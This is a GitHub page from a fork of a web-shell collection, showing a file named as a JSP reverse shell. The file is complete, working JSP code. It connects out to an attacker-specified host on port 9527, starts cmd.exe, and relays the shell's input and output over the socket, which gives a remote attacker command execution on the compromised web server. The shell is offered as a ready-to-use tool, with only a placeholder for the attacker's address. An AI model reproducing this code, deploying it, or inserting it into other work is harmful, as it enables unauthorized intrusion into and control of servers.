forked from xl7dev/WebShell
-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathJsp反弹shell.txt
executable file
·48 lines (46 loc) · 1.31 KB
/
Jsp反弹shell.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread {
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os) {
this.is = is;
this.os = os;
}
public void run() {
BufferedReader in = null;
BufferedWriter out = null;
try {
in = new BufferedReader(new InputStreamReader(this.is));
out = new BufferedWriter(
new OutputStreamWriter(this.os));
char buffer[] = new char[8192];
int length;
while ((length = in.read(buffer, 0, buffer.length)) > 0) {
out.write(buffer, 0, length);
out.flush();
}
} catch (Exception e) {
}
try {
if (in != null)
in.close();
if (out != null)
out.close();
} catch (Exception e) {
}
}
}
try {
Socket socket = new Socket("ÄãµÄip»òÕßÓòÃû", 9527);
Process process = Runtime.getRuntime().exec("cmd.exe");
(new StreamConnector(process.getInputStream(),
socket.getOutputStream())).start();
(new StreamConnector(socket.getInputStream(),
process.getOutputStream())).start();
} catch (Exception e) {
}
%>